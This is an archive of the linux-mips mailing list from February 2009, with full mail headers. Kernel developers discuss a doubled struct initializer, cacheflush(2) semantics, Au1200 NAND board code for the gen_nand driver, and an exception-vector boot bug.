Feb 2009 22:19:19 +1100 (EST) From: Rusty Russell To: "Kevin D. Kissell" Subject: Strange initialization in arch/mips/kernel/smtc.c:1094? Date: Mon, 9 Feb 2009 21:49:16 +1030 User-Agent: KMail/1.11.0 (Linux/2.6.27-11-generic; KDE/4.2.0; i686; ; ) Cc: Ralf Baechle , linux-mips@linux-mips.org MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200902092149.16573.rusty@rustcorp.com.au> Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21914 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: rusty@rustcorp.com.au Precedence: bulk X-list: linux-mips Content-Length: 265 Lines: 13 Latest Linus kernel, but it's been there a while: static struct irqaction irq_ipi = { .handler = ipi_interrupt, .flags = IRQF_DISABLED, .name = "SMTC_IPI", .flags = IRQF_PERCPU }; .flags is initialized twice: I'm amazed this even compiles. Cheers, Rusty. From kevink@paralogos.com Mon Feb 9 11:57:35 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 09 Feb 2009 11:57:37 +0000 (GMT) Received: from aux-209-217-49-36.oklahoma.net ([209.217.49.36]:48646 "EHLO proteus.paralogos.com") by ftp.linux-mips.org with ESMTP id S21365442AbZBIL5f (ORCPT ); Mon, 9 Feb 2009 11:57:35 +0000 Received: from [192.168.236.58] ([217.109.65.213]) by proteus.paralogos.com (8.9.3/8.9.3) with ESMTP id LAA05170; Sun, 8 Feb 2009 11:40:10 -0600 Message-ID: <49901A28.6030604@paralogos.com> Date: Mon, 09 Feb 2009 05:57:28 -0600 From: "Kevin D. Kissell" User-Agent: Thunderbird 2.0.0.19 (Windows/20081209) MIME-Version: 1.0 To: Rusty Russell CC: Ralf Baechle , linux-mips@linux-mips.org Subject: Re: Strange initialization in arch/mips/kernel/smtc.c:1094? References: <200902092149.16573.rusty@rustcorp.com.au> In-Reply-To: <200902092149.16573.rusty@rustcorp.com.au> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21915 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: kevink@paralogos.com Precedence: bulk X-list: linux-mips Content-Length: 735 Lines: 22 Rusty Russell wrote: > Latest Linus kernel, but it's been there a while: > > static struct irqaction irq_ipi = { > .handler = ipi_interrupt, > .flags = IRQF_DISABLED, > .name = "SMTC_IPI", > .flags = IRQF_PERCPU > }; > > .flags is initialized twice: I'm amazed this even compiles. > I don't know where that came from. The very earliest versions of smtc.c didn't have a declaration initialization at all, but filled the fields in setup_cross_vpe_interrupts(). The IRQ was PERCPU since day one. The initial DISABLED state came later. I'm guessing someone added that hastily and didn't notice the pre-existing .flags definition. I'm curious as to which bit(s) are actually set. Regards, Kevin K. From naresh.kernel@gmail.com Tue Feb 10 15:17:00 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 10 Feb 2009 15:17:04 +0000 (GMT) Received: from rv-out-0708.google.com ([209.85.198.246]:59573 "EHLO rv-out-0708.google.com") by ftp.linux-mips.org with ESMTP id S21365134AbZBJPRA (ORCPT ); Tue, 10 Feb 2009 15:17:00 +0000 Received: by rv-out-0708.google.com with SMTP id c5so2271229rvf.24 for ; Tue, 10 Feb 2009 07:16:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:cc:content-type; bh=oE8xYcVDzdoAFTp5vWfRehkz7wFAbfOjpGvfcsIdVCw=; b=d5eiEpgbEYIr4Nl30wZRBv3aS9+4jxuPDz4TCBY8cXMDbKe1bffXwoRzBOeBFeGRJR /AhXShet7zyl8G+s4zO5O6zRsgLE+syNODL0Te+1yhomukz6qAzhqHufj1cb6wsCVCNy iTTLE4qnLho5S8LtuaBrU9mRUBYBILRVelWwE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:cc:content-type; b=amdv6Ov8MTEda3ZCmTFyhrG32/e7IeRssD5jXK/SEnHieMf5LZqAnJgIF/0apSPAo8 hHvLK/defuDT9JEPjSiZFYhMxAY+WJ3XOiunUffEo9y5fxg7oQLiA6JM1XbnZz7gO8tn DcfzYoxOM1PjmW2wVn643ihRV9TaAuAHs8/0U= MIME-Version: 1.0 Received: by 10.141.28.2 with SMTP id f2mr4680769rvj.170.1234279018294; Tue, 10 Feb 2009 07:16:58 -0800 (PST) Date: Tue, 10 Feb 2009 20:46:58 +0530 Message-ID: Subject: cacheflush system call-MIPS From: naresh kamboju To: ralf@linux-mips.org Cc: linux-mips@linux-mips.org Content-Type: multipart/alternative; boundary=000e0cd210c6706c82046291fa36 Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21916 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: naresh.kernel@gmail.com Precedence: bulk X-list: linux-mips Content-Length: 988 Lines: 47 --000e0cd210c6706c82046291fa36 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hi Mr. Ralf, I have tried to test cacheflush system call to generate EINVAL on Toshiba RBTX4927/RBTX4937 board with 2.6.23 kernel. I have referred latest Man pages there is a bug column. Please let me know whether this is bug in source code or in the man page. (arch/mips/mm/cache.c) Thanks & regards Naresh Kamboju --000e0cd210c6706c82046291fa36 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit

Hi Mr. Ralf,

I have tried to test cacheflush system call to generate EINVAL

on Toshiba RBTX4927/RBTX4937 board with 2.6.23 kernel.

I have referred latest Man pages there is a bug column.

Please let me know whether this is bug in source code or in the man page.

(arch/mips/mm/cache.c)

 

Thanks & regards

Naresh Kamboju

--000e0cd210c6706c82046291fa36-- From ralf@h5.dl5rb.org.uk Wed Feb 11 13:16:52 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 11 Feb 2009 13:16:55 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:29864 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S21102849AbZBKNQw (ORCPT ); Wed, 11 Feb 2009 13:16:52 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1BDGorj001775; Wed, 11 Feb 2009 13:16:50 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1BDGnDD001773; Wed, 11 Feb 2009 13:16:49 GMT Date: Wed, 11 Feb 2009 13:16:49 +0000 From: Ralf Baechle To: naresh kamboju Cc: linux-mips@linux-mips.org Subject: Re: cacheflush system call-MIPS Message-ID: <20090211131649.GA1365@linux-mips.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21917 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 1673 Lines: 40 On Tue, Feb 10, 2009 at 08:46:58PM +0530, naresh kamboju wrote: > Hi Mr. Ralf, > > I have tried to test cacheflush system call to generate EINVAL > > on Toshiba RBTX4927/RBTX4937 board with 2.6.23 kernel. > > I have referred latest Man pages there is a bug column. > > Please let me know whether this is bug in source code or in the man page. > > (arch/mips/mm/cache.c) The answer is probably a bit of both. The API and error behaviour was defined by the earlier MIPS UNIX variant RISC/os or possibly even earlier. Gcc relies on the existence of this syscall - or rather a library function which usually will be implemented to execute this syscall because the operating requires kernel priviledges - so Linux had to get an implementation as well. Now in practice there is only one good reason to perform explicit cacheflushes from userspace and that's to ensure I-cache coherency and that's the one thing the Linux implementation of cacheflush(2) is trying to do. Therefore the implementation ignores the cache argument and will instead perform whatever is necessary to guarantee I-cache coherency - whatever this means on a particlar implementation. Similarly the implementation won't verify that every byte of the range is accessible. For a large range it instead may choose to perform a full writeback / invalidation of some or all parts of the cache hierarchy which might mean there will not be an error return even though part of the address space may not be accessible. Talking about bugs - the "BUGS" section of the man page is wrong. A full cacheflush is only performed if this is considered to be faster than a cacheline-by-cacheline flush. Ralf From linux-mips@kernelport.de Thu Feb 12 07:55:48 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 12 Feb 2009 07:55:51 +0000 (GMT) Received: from mail.bugwerft.de ([212.112.241.193]:53190 "EHLO mail.bugwerft.de") by ftp.linux-mips.org with ESMTP id S21366534AbZBLHzs (ORCPT ); Thu, 12 Feb 2009 07:55:48 +0000 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.bugwerft.de (Postfix) with ESMTP id 5251B8F849D; Thu, 12 Feb 2009 08:55:42 +0100 (CET) Received: from mail.bugwerft.de ([127.0.0.1]) by localhost (mail.bugwerft.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id NRG6L6lSFLII; Thu, 12 Feb 2009 08:55:41 +0100 (CET) Received: from [10.1.1.26] (unknown [192.168.22.14]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.bugwerft.de (Postfix) with ESMTP id 71F568F849C; Thu, 12 Feb 2009 08:55:40 +0100 (CET) Subject: Re: Au1200 and NAND Flash - K9F1G08U0A - From: Frank Neuber To: borasah@gmail.com Cc: linux-mips@linux-mips.org In-Reply-To: <200705192213.12019.borasah@gmail.com> References: <200705192213.12019.borasah@gmail.com> Content-Type: text/plain Date: Thu, 12 Feb 2009 08:55:37 +0100 Message-Id: <1234425337.12847.124.camel@t60p> Mime-Version: 1.0 X-Mailer: Evolution 2.12.1 Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21921 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: linux-mips@kernelport.de Precedence: bulk X-list: linux-mips Content-Length: 1463 Lines: 44 Hi Bora, I have the same problem here. Did you find a solution for this nand large page device. I tried to copy nand_command_lp from nand_base.c and added the -CE stuff including disabling interrupts during read. The result is that I found just one bad block during scan :-). Also erasing nand seems to be possible (usinf eraseall /dev/mtdX). But if I write and read back the data (using dd) I get io errors :-( I found your posting on this list wihout an answer so I hope you was able to manage the nand stuff. Kind Regards, Frank Am Samstag, den 19.05.2007, 22:13 +0300 schrieb borasah@gmail.com: > Hi, > > We want to use NAND flash on Alchemy Au1200 and have a custom board along with > Db1200; so tried it both on our custom board and Db1200 without success. > (Because Db1200 has a slot we opened it and replaced the original with our > part) > > Kernel -> 2.6.20.1. Error messages: > > NAND device: Manufacturer ID: 0xec, Chip ID: 0xf1 (Samsung NAND 128MiB 3,3V > 8-bit) > Scanning device for bad blocks > Bad eraseblock 0 at 0x00000000 > Bad eraseblock 1 at 0x00020000 > ... > Bad eraseblock 1022 at 0x07fc0000 > Bad eraseblock 1023 at 0x07fe0000 > Creating 2 MTD partitions on "NAND 128MiB 3,3V 8-bit": > > It marks all the eraseblocks as BAD. As far as I understand > "au1xxx_nand_command" seems doesnt work correctly. Has someone succeded to > work with these large block parts in the Au1200/Au1550? > > Thanks... > > -- > Bora SAHIN From mano@roarinelk.homelinux.net Thu Feb 12 08:17:08 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 12 Feb 2009 08:17:10 +0000 (GMT) Received: from fnoeppeil36.netpark.at ([217.175.205.164]:38299 "EHLO roarinelk.homelinux.net") by ftp.linux-mips.org with ESMTP id S21365915AbZBLIRI (ORCPT ); Thu, 12 Feb 2009 08:17:08 +0000 Received: (qmail 3688 invoked by uid 1000); 12 Feb 2009 09:17:07 +0100 Date: Thu, 12 Feb 2009 09:17:07 +0100 From: Manuel Lauss To: Frank Neuber Cc: borasah@gmail.com, linux-mips@linux-mips.org Subject: Re: Au1200 and NAND Flash - K9F1G08U0A - Message-ID: <20090212081707.GA3656@roarinelk.homelinux.net> References: <200705192213.12019.borasah@gmail.com> <1234425337.12847.124.camel@t60p> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1234425337.12847.124.camel@t60p> User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21922 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: mano@roarinelk.homelinux.net Precedence: bulk X-list: linux-mips Content-Length: 2903 Lines: 119 On Thu, Feb 12, 2009 at 08:55:37AM +0100, Frank Neuber wrote: > Hi Bora, > I have the same problem here. > Did you find a solution for this nand large page device. > I tried to copy nand_command_lp from nand_base.c and added the -CE stuff > including disabling interrupts during read. > The result is that I found just one bad block during scan :-). Also > erasing nand seems to be possible (usinf eraseall /dev/mtdX). > But if I write and read back the data (using dd) I get io errors :-( > > I found your posting on this list wihout an answer so I hope you was > able to manage the nand stuff. Here's the NAND portion of a DB1200 board support rewrite I did a while ago. It uses gen_nand instead of the au1550nd.c driver (which seems to only work on the Db1550 and small page devices). It shouls also work on any Au1550 since the Au1200 has identical NAND hardware. ---------- 8< --------------------------- 8< --------------------- #include #include #include [...] static void au1200_nand_cmd_ctrl(struct mtd_info *mtd, int cmd, unsigned int ctrl) { struct nand_chip *this = mtd->priv; unsigned long ioaddr = (unsigned long)this->IO_ADDR_W; ioaddr &= 0xffffff00; if (ctrl & NAND_CLE) { ioaddr += MEM_STNAND_CMD; } else if (ctrl & NAND_ALE) { ioaddr += MEM_STNAND_ADDR; } else { /* assume we want to r/w real data by default */ ioaddr += MEM_STNAND_DATA; } this->IO_ADDR_R = this->IO_ADDR_W = (void __iomem *)ioaddr; if (cmd != NAND_CMD_NONE) { au_writeb(cmd, ioaddr); au_sync(); } } static int au1200_nand_device_ready(struct mtd_info *mtd) { return au_readl(MEM_STSTAT) & 1; } static const char *db1200_part_probes[] = { "cmdlinepart", NULL }; static struct mtd_partition db1200_nand_parts[] = { { .name = "NAND FS 0", .offset = 0, .size = 8 * 1024 * 1024, }, { .name = "NAND FS 1", .offset = MTDPART_OFS_APPEND, .size = MTDPART_SIZ_FULL }, }; struct platform_nand_data db1200_nand_platdata = { .chip = { .nr_chips = 1, .chip_offset = 0, .nr_partitions = ARRAY_SIZE(db1200_nand_parts), .partitions = db1200_nand_parts, .chip_delay = 20, .part_probe_types = db1200_part_probes, }, .ctrl = { .hwcontrol = 0, .dev_ready = au1200_nand_device_ready, .select_chip = 0, .cmd_ctrl = au1200_nand_cmd_ctrl, }, }; static struct resource db1200_nand_res[] = { [0] = { .start = 0x20000000, .end = 0x200000ff, .flags = IORESOURCE_MEM, }, }; static struct platform_device nand_dev = { .name = "gen_nand", .num_resources = ARRAY_SIZE(db1200_nand_res), .resource = db1200_nand_res, .id = -1, .dev = { .platform_data = &db1200_nand_platdata, } }; [...] static struct platform_device *db1200_devs[] __initdata = { [...] &nand_dev, [...] }; -------------------- 8< ------------------------ 8< ------------------- Best regards, Manuel Lauss From linux-mips@kernelport.de Thu Feb 12 08:40:51 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 12 Feb 2009 08:40:53 +0000 (GMT) Received: from mail.bugwerft.de ([212.112.241.193]:38785 "EHLO mail.bugwerft.de") by ftp.linux-mips.org with ESMTP id S21366776AbZBLIkv (ORCPT ); Thu, 12 Feb 2009 08:40:51 +0000 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.bugwerft.de (Postfix) with ESMTP id 23C988F849D; Thu, 12 Feb 2009 09:40:46 +0100 (CET) Received: from mail.bugwerft.de ([127.0.0.1]) by localhost (mail.bugwerft.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yApfMzelmQ6s; Thu, 12 Feb 2009 09:40:46 +0100 (CET) Received: from [10.1.1.26] (unknown [192.168.22.14]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.bugwerft.de (Postfix) with ESMTP id A311D8F849C; Thu, 12 Feb 2009 09:40:44 +0100 (CET) Subject: Re: Au1200 and NAND Flash - K9F1G08U0A - From: Frank Neuber To: Manuel Lauss Cc: borasah@gmail.com, linux-mips@linux-mips.org In-Reply-To: <20090212081707.GA3656@roarinelk.homelinux.net> References: <200705192213.12019.borasah@gmail.com> <1234425337.12847.124.camel@t60p> <20090212081707.GA3656@roarinelk.homelinux.net> Content-Type: text/plain Date: Thu, 12 Feb 2009 09:40:43 +0100 Message-Id: <1234428043.12847.138.camel@t60p> Mime-Version: 1.0 X-Mailer: Evolution 2.12.1 Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21923 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: linux-mips@kernelport.de Precedence: bulk X-list: linux-mips Content-Length: 2876 Lines: 121 Thank you for this very quick answer ... Am Donnerstag, den 12.02.2009, 09:17 +0100 schrieb Manuel Lauss: > Here's the NAND portion of a DB1200 board support rewrite I did a while > ago. It uses gen_nand instead of the au1550nd.c driver (which seems to I saw this gen_nand (plat_nand.c) never before (because it is not configurable in the Makefile) > only work on the Db1550 and small page devices). It shouls also work on > any Au1550 since the Au1200 has identical NAND hardware. Do I understand right, this is not a handmade patch aginst plat_nand.c ? I try to mix this code now with the plat_nand.c, rigth? Kind regards, Frank > > ---------- 8< --------------------------- 8< --------------------- > > > #include > #include > #include > > [...] > > static void au1200_nand_cmd_ctrl(struct mtd_info *mtd, int cmd, > unsigned int ctrl) > { > struct nand_chip *this = mtd->priv; > unsigned long ioaddr = (unsigned long)this->IO_ADDR_W; > > ioaddr &= 0xffffff00; > > if (ctrl & NAND_CLE) { > ioaddr += MEM_STNAND_CMD; > } else if (ctrl & NAND_ALE) { > ioaddr += MEM_STNAND_ADDR; > } else { > /* assume we want to r/w real data by default */ > ioaddr += MEM_STNAND_DATA; > } > this->IO_ADDR_R = this->IO_ADDR_W = (void __iomem *)ioaddr; > if (cmd != NAND_CMD_NONE) { > au_writeb(cmd, ioaddr); > au_sync(); > } > } > > static int au1200_nand_device_ready(struct mtd_info *mtd) > { > return au_readl(MEM_STSTAT) & 1; > } > > static const char *db1200_part_probes[] = { "cmdlinepart", NULL }; > > static struct mtd_partition db1200_nand_parts[] = { > { > .name = "NAND FS 0", > .offset = 0, > .size = 8 * 1024 * 1024, > }, > { > .name = "NAND FS 1", > .offset = MTDPART_OFS_APPEND, > .size = MTDPART_SIZ_FULL > }, > }; > > struct platform_nand_data db1200_nand_platdata = { > .chip = { > .nr_chips = 1, > .chip_offset = 0, > .nr_partitions = ARRAY_SIZE(db1200_nand_parts), > .partitions = db1200_nand_parts, > .chip_delay = 20, > .part_probe_types = db1200_part_probes, > }, > .ctrl = { > .hwcontrol = 0, > .dev_ready = au1200_nand_device_ready, > .select_chip = 0, > .cmd_ctrl = au1200_nand_cmd_ctrl, > }, > }; > > static struct resource db1200_nand_res[] = { > [0] = { > .start = 0x20000000, > .end = 0x200000ff, > .flags = IORESOURCE_MEM, > }, > }; > > static struct platform_device nand_dev = { > .name = "gen_nand", > .num_resources = ARRAY_SIZE(db1200_nand_res), > .resource = db1200_nand_res, > .id = -1, > .dev = { > .platform_data = &db1200_nand_platdata, > } > }; > > [...] > > static struct platform_device *db1200_devs[] __initdata = { > [...] > &nand_dev, > [...] > }; > > -------------------- 8< ------------------------ 8< ------------------- > > > Best regards, > Manuel Lauss > From mano@roarinelk.homelinux.net Thu Feb 12 08:53:13 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 12 Feb 2009 08:53:15 +0000 (GMT) Received: from fnoeppeil36.netpark.at ([217.175.205.164]:57241 "EHLO roarinelk.homelinux.net") by ftp.linux-mips.org with ESMTP id S21366776AbZBLIxN (ORCPT ); Thu, 12 Feb 2009 08:53:13 +0000 Received: (qmail 3942 invoked by uid 1000); 12 Feb 2009 09:53:12 +0100 Date: Thu, 12 Feb 2009 09:53:12 +0100 From: Manuel Lauss To: Frank Neuber Cc: borasah@gmail.com, linux-mips@linux-mips.org Subject: Re: Au1200 and NAND Flash - K9F1G08U0A - Message-ID: <20090212085312.GA3914@roarinelk.homelinux.net> References: <200705192213.12019.borasah@gmail.com> <1234425337.12847.124.camel@t60p> <20090212081707.GA3656@roarinelk.homelinux.net> <1234428043.12847.138.camel@t60p> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1234428043.12847.138.camel@t60p> User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21924 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: mano@roarinelk.homelinux.net Precedence: bulk X-list: linux-mips Content-Length: 928 Lines: 21 On Thu, Feb 12, 2009 at 09:40:43AM +0100, Frank Neuber wrote: > Thank you for this very quick answer ... > > Am Donnerstag, den 12.02.2009, 09:17 +0100 schrieb Manuel Lauss: > > Here's the NAND portion of a DB1200 board support rewrite I did a while > > ago. It uses gen_nand instead of the au1550nd.c driver (which seems to > I saw this gen_nand (plat_nand.c) never before (because it is not > configurable in the Makefile) > > > only work on the Db1550 and small page devices). It shouls also work on > > any Au1550 since the Au1200 has identical NAND hardware. > Do I understand right, this is not a handmade patch aginst > plat_nand.c ? > > I try to mix this code now with the plat_nand.c, rigth? No no no no: this belongs in your board code (board_setup.c or whatever you call it). It's nothing more than registration of a platform_device plus required information/callbacks for the gen_nand driver. Manuel Lauss From linux-mips@kernelport.de Thu Feb 12 13:24:59 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 12 Feb 2009 13:25:01 +0000 (GMT) Received: from mail.bugwerft.de ([212.112.241.193]:30380 "EHLO mail.bugwerft.de") by ftp.linux-mips.org with ESMTP id S21366254AbZBLNY7 (ORCPT ); Thu, 12 Feb 2009 13:24:59 +0000 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.bugwerft.de (Postfix) with ESMTP id 3929F8F849D; Thu, 12 Feb 2009 14:24:53 +0100 (CET) Received: from mail.bugwerft.de ([127.0.0.1]) by localhost (mail.bugwerft.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id km5looll2MWK; Thu, 12 Feb 2009 14:24:53 +0100 (CET) Received: from [10.1.1.27] (unknown [192.168.22.14]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.bugwerft.de (Postfix) with ESMTP id 068188F849C; Thu, 12 Feb 2009 14:24:51 +0100 (CET) Subject: Re: Au1200 and NAND Flash - K9F1G08U0A - From: Frank Neuber To: Manuel Lauss Cc: borasah@gmail.com, linux-mips@linux-mips.org In-Reply-To: <20090212085312.GA3914@roarinelk.homelinux.net> References: <200705192213.12019.borasah@gmail.com> <1234425337.12847.124.camel@t60p> <20090212081707.GA3656@roarinelk.homelinux.net> <1234428043.12847.138.camel@t60p> <20090212085312.GA3914@roarinelk.homelinux.net> Content-Type: text/plain Date: Thu, 12 Feb 2009 14:24:50 +0100 Message-Id: <1234445090.12847.151.camel@t60p> Mime-Version: 1.0 X-Mailer: Evolution 2.12.1 Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21926 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: linux-mips@kernelport.de Precedence: bulk X-list: linux-mips Content-Length: 1255 Lines: 31 Hi Manuel, thank you for the code. It is working perfect :-) I added this in arch/mips/au1000/common/platform.c. 1,94 MByte/s read performance. I think it is a good idea to remove the au1550nd.c. Thank's again, Frank Am Donnerstag, den 12.02.2009, 09:53 +0100 schrieb Manuel Lauss: > On Thu, Feb 12, 2009 at 09:40:43AM +0100, Frank Neuber wrote: > > Thank you for this very quick answer ... > > > > Am Donnerstag, den 12.02.2009, 09:17 +0100 schrieb Manuel Lauss: > > > Here's the NAND portion of a DB1200 board support rewrite I did a while > > > ago. It uses gen_nand instead of the au1550nd.c driver (which seems to > > I saw this gen_nand (plat_nand.c) never before (because it is not > > configurable in the Makefile) > > > > > only work on the Db1550 and small page devices). It shouls also work on > > > any Au1550 since the Au1200 has identical NAND hardware. > > Do I understand right, this is not a handmade patch aginst > > plat_nand.c ? > > > > I try to mix this code now with the plat_nand.c, rigth? > > No no no no: this belongs in your board code (board_setup.c or whatever you > call it). It's nothing more than registration of a platform_device plus > required information/callbacks for the gen_nand driver. > > Manuel Lauss From mbizon@freebox.fr Fri Feb 13 13:44:09 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 13:44:11 +0000 (GMT) Received: from smtp3-g21.free.fr ([212.27.42.3]:6625 "EHLO smtp3-g21.free.fr") by ftp.linux-mips.org with ESMTP id S21102778AbZBMNoJ (ORCPT ); Fri, 13 Feb 2009 13:44:09 +0000 Received: from smtp3-g21.free.fr (localhost [127.0.0.1]) by smtp3-g21.free.fr (Postfix) with ESMTP id 0803C8180A9; Fri, 13 Feb 2009 14:44:03 +0100 (CET) Received: from [213.228.1.107] (sakura.staff.proxad.net [213.228.1.107]) by smtp3-g21.free.fr (Postfix) with ESMTP id D6E3F8181B0; Fri, 13 Feb 2009 14:44:00 +0100 (CET) Subject: Re: [PATCH] MIPS: Allocate exception vector on 64 KiB boundary From: Maxime Bizon Reply-To: mbizon@freebox.fr To: "David VomLehn (dvomlehn)" Cc: linux-mips@linux-mips.org, ralf@linux-mips.org, David Daney In-Reply-To: References: Content-Type: text/plain Organization: Freebox Date: Fri, 13 Feb 2009 14:44:00 +0100 Message-Id: <1234532640.711.63.camel@sakura.staff.proxad.net> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21930 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: mbizon@freebox.fr Precedence: bulk X-list: linux-mips Content-Length: 703 Lines: 25 On Fri, 2009-01-30 at 13:43 -0500, David VomLehn (dvomlehn) wrote: > Fix problem with code that incorrectly modifies ebase. > > Commit 566f74f6b2f8b85d5b8d6caaf97e5672cecd3e3e had a change that > incorrectly > modified ebase. This backs out the lines that modified ebase and then > modified I confirm this commit prevents my 4kec board from booting. My c0_ebase is set to 0x90000000. In trap_init() ebase is first set to CAC_BASE => 0x80000000, then 0x90000000 after adding c0_ebase offset. set_uncached_handler() starts with uncached_ebase sets to KSEG1ADDR(ebase) => 0xb0000000, which is already the correct value, but it then add the c0_ebase offset again => 0xc0000000 => boom. -- Maxime From anemo@mba.ocn.ne.jp Fri Feb 13 15:28:59 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 15:29:04 +0000 (GMT) Received: from mba.ocn.ne.jp ([122.1.235.107]:12779 "HELO smtp.mba.ocn.ne.jp") by ftp.linux-mips.org with SMTP id S21367040AbZBMP27 (ORCPT ); Fri, 13 Feb 2009 15:28:59 +0000 Received: from localhost.localdomain (p6191-ipad213funabasi.chiba.ocn.ne.jp [124.85.71.191]) by smtp.mba.ocn.ne.jp (Postfix) with ESMTP id E856FAA15; Sat, 14 Feb 2009 00:28:52 +0900 (JST) From: Atsushi Nemoto To: linux-mips@linux-mips.org Cc: ralf@linux-mips.org, dan.j.williams@intel.com, linux-kernel@vger.kernel.org Subject: [PATCH 2/2] TXx9: Add DMAC support Date: Sat, 14 Feb 2009 00:28:58 +0900 Message-Id: <1234538938-23479-2-git-send-email-anemo@mba.ocn.ne.jp> X-Mailer: git-send-email 1.5.6.3 Return-Path: X-Envelope-To: 